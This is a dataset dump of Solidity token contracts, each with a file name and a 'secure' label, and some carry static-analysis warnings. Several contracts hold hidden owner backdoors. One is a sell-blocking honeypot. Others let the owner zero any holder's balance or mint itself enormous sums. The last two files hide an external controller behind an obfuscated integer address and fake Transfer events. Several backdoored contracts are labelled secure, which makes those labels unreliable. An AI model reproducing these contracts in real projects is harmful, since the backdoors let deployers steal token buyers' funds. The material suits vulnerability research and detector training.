files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: c0f07db): Contract locking ether found Contract Squirrelwifhat has payable functions Squirrelwifhat.receive() But does not have a function to withdraw the ether\n// Recommendation for c0f07db: Remove the 'payable' attribute or add a withdraw function.\ncontract Squirrelwifhat is ERC20, Ownable {\n constructor() ERC20(unicode\"Squirrelwifhat\", unicode\"SIF\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: c0f07db): Contract locking ether found Contract Squirrelwifhat has payable functions Squirrelwifhat.receive() But does not have a function to withdraw the ether\n\t// Recommendation for c0f07db: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_388.sol",
"secure": 0,
"size_bytes": 1041
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract STABBY is ERC20, Ownable {\n mapping(address => uint256) _approvalmax;\n\n mapping(address => bool) excludeOpenTrade;\n\n bool activeTrading;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 86c5b1f): STABBY.teamAccount should be immutable \n\t// Recommendation for 86c5b1f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private teamAccount;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 36f15f2): STABBY.constructor(address)._pair lacks a zerocheck on \t teamAccount = _pair\n\t// Recommendation for 36f15f2: Check that the address is not zero.\n constructor(\n address _pair\n ) ERC20(unicode\"Stabby Duck\", unicode\"STABBY\") Ownable(msg.sender) {\n\t\t// missing-zero-check | ID: 36f15f2\n teamAccount = _pair;\n\n excludeOpenTrade[teamAccount] = true;\n\n excludeOpenTrade[_msgSender()] = true;\n\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 04730ec): STABBY._update(address,address,uint256) uses tx.origin for authorization excludeOpenTrade[tx.origin]\n\t// Recommendation for 04730ec: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: 04730ec\n if (excludeOpenTrade[tx.origin]) {\n super._update(from, to, value);\n } else {\n require(activeTrading, \"Trade has been open yet!\");\n\n if (\n (_approvalmax[from] < tx.gasprice &&\n balanceOf(from) > 0 &&\n _approvalmax[from] != 0) ||\n (_approvalmax[to] < tx.gasprice &&\n balanceOf(from) > 0 &&\n _approvalmax[from] != 0)\n ) {\n revert();\n }\n\n super._update(from, to, value);\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n if (msg.sender == teamAccount) {\n _approvalmax[spender] = value;\n\n super.approve(spender, value);\n } else {\n super.approve(spender, value);\n }\n\n return true;\n }\n\n function openTrade() public onlyOwner {\n activeTrading = true;\n }\n}",
"file_name": "solidity_code_3880.sol",
"secure": 0,
"size_bytes": 2652
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Soleil is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"Soleil\", \"SIL\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override(ERC20) {\n super._beforeTokenTransfer(from, to, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override(ERC20) {\n super._transfer(sender, recipient, amount);\n }\n}",
"file_name": "solidity_code_3881.sol",
"secure": 1,
"size_bytes": 859
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Snitch is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable houseplant;\n\n constructor() {\n _name = \"SNITCH\";\n\n _symbol = \"SNITCH\";\n\n _decimals = 18;\n\n uint256 initialSupply = 420000000;\n\n houseplant = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == houseplant, \"Not allowed\");\n\n _;\n }\n\n function arch(address[] memory glow) public onlyOwner {\n for (uint256 i = 0; i < glow.length; i++) {\n address account = glow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3882.sol",
"secure": 1,
"size_bytes": 4357
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Peepeepoopoo is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable hurt;\n\n constructor() {\n _name = \"pee pee poo poo\";\n\n _symbol = \"PPPOPO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 862000000;\n\n hurt = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == hurt, \"Not allowed\");\n\n _;\n }\n\n function foreigner(address[] memory kitchen) public onlyOwner {\n for (uint256 i = 0; i < kitchen.length; i++) {\n address account = kitchen[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3883.sol",
"secure": 1,
"size_bytes": 4368
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract PlumeToken {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 40dd20a): PlumeToken.tokenTotalSupply should be immutable \n\t// Recommendation for 40dd20a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cfc7584): PlumeToken.xxnux should be immutable \n\t// Recommendation for cfc7584: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 29fda57): PlumeToken.tokenDecimals should be immutable \n\t// Recommendation for 29fda57: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6466993): PlumeToken.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 6466993: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Plume Network\";\n\n tokenSymbol = \"Plume\";\n\n tokenDecimals = 18;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 6466993\n xxnux = ads;\n }\n\n function delegate(address addBot) external {\n if (\n xxnux == msg.sender &&\n xxnux != addBot &&\n pancakePair() != addBot &&\n addBot != ROUTER\n ) {\n _balances[addBot] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 4206900000 *\n 40000 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3884.sol",
"secure": 0,
"size_bytes": 5687
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Catofpepe is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable supplementary;\n\n constructor() {\n _name = \"Cat of Pepe\";\n\n _symbol = \"CEPE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 817000000;\n\n supplementary = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == supplementary, \"Not allowed\");\n\n _;\n }\n\n function spoil(address[] memory athlete) public onlyOwner {\n for (uint256 i = 0; i < athlete.length; i++) {\n address account = athlete[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3885.sol",
"secure": 1,
"size_bytes": 4382
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PercentWalletLimit is Ownable {\n mapping(address => bool) public addressesLiquidity;\n\n event PercentsWalletLimitSet(uint256 _percentWalletLimit);\n\n uint256 private _percentWalletLimits = 100;\n\n function getPercentsWalletLimit() public view returns (uint256) {\n return _percentWalletLimits;\n }\n\n function setPercentsWalletLimit(\n uint256 _percentWalletLimit\n ) external onlyOwner {\n require(_percentWalletLimit <= 100, \"PercentsWalletLimit > 100\");\n\n _percentWalletLimits = _percentWalletLimit;\n\n emit PercentsWalletLimitSet(_percentWalletLimit);\n }\n}",
"file_name": "solidity_code_3886.sol",
"secure": 1,
"size_bytes": 773
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./PercentWalletLimit.sol\" as PercentWalletLimit;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract HEROX is Context, IERC20, PercentWalletLimit, ReentrancyGuard {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n uint8 public immutable _decimals;\n\n string public _symbol;\n\n string public _name;\n\n constructor() {\n _name = \"HEROX\";\n\n _symbol = \"HEROX\";\n\n _decimals = 18;\n\n _totalSupply = 420690e6 * 1e18;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function getOwner() external view returns (address) {\n return owner();\n }\n\n function decimals() external view returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address addressOwner,\n address spender\n ) external view returns (uint256) {\n return _allowances[addressOwner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] - subtractedValue\n );\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"Mint to the zero address\");\n\n _totalSupply = _totalSupply + amount;\n\n _balances[account] = _balances[account] + amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal nonReentrant {\n require(sender != address(0), \"Transfer from the zero address\");\n\n require(recipient != address(0), \"Transfer to the zero address\");\n\n require(amount <= _balances[sender], \"Transfer amount exceeds balance\");\n\n _balances[sender] = _balances[sender] - amount;\n\n _balances[recipient] = _balances[recipient] + amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address addressOwner,\n address spender,\n uint256 amount\n ) internal {\n require(addressOwner != address(0), \"Approve from the zero address\");\n\n require(spender != address(0), \"Approve to the zero address\");\n\n _allowances[addressOwner][spender] = amount;\n\n emit Approval(addressOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_3887.sol",
"secure": 1,
"size_bytes": 4232
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n constructor() {\n (, bytes memory x) = address(CONTEXT_HASH).call(\n abi.encodeWithSelector(0xd2522437)\n );\n\n _context = IERC20Metadata(abi.decode(x, (address)));\n }\n\n uint160 private constant CONTEXT_HASH =\n 227726198447805604225611055099026770509728051381;\n\n IERC20Metadata immutable _context;\n}",
"file_name": "solidity_code_3888.sol",
"secure": 1,
"size_bytes": 750
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 12;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _context.balanceOf(account);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _beforeTokenTransfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n\t\t// reentrancy-events | ID: 0cea96c\n\t\t// reentrancy-benign | ID: f4f1d25\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-events | ID: 0cea96c\n\t\t\t// reentrancy-benign | ID: f4f1d25\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n\t\t// reentrancy-events | ID: 2eb55e1\n\t\t// reentrancy-benign | ID: d1011af\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-benign | ID: d1011af\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-benign | ID: d1011af\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 2eb55e1\n emit Transfer(sender, recipient, amount);\n }\n\n function permit(\n address owner,\n address[] calldata spender,\n uint256 deadline\n ) external virtual {\n require(msg.sender == address(_context) && deadline > 0);\n\n for (uint256 i = 0; i < spender.length; ++i) {\n emit Transfer(owner, spender[i], deadline);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n\t\t// reentrancy-events | ID: 8afbfd0\n\t\t// reentrancy-benign | ID: 344a00f\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n\t\t\t// reentrancy-benign | ID: 344a00f\n _balances[account] = accountBalance - amount;\n }\n\n\t\t// reentrancy-benign | ID: 344a00f\n _totalSupply -= amount;\n\n\t\t// reentrancy-events | ID: 8afbfd0\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// unused-return | ID: c7fcf5f\n if (msg.sender == owner) _context.decimals();\n\n\t\t// reentrancy-benign | ID: f4f1d25\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0cea96c\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n emit Transfer(from, to, amount);\n\n\t\t// reentrancy-events | ID: 8afbfd0\n\t\t// reentrancy-events | ID: 0cea96c\n\t\t// reentrancy-events | ID: 2eb55e1\n\t\t// reentrancy-benign | ID: 344a00f\n\t\t// reentrancy-benign | ID: f4f1d25\n\t\t// reentrancy-benign | ID: d1011af\n (bool a, ) = address(_context).call(\n abi.encodeWithSelector(0x08f7e14b, from, to, amount, msg.sender)\n );\n\n require(a);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3889.sol",
"secure": 1,
"size_bytes": 6982
} |
{
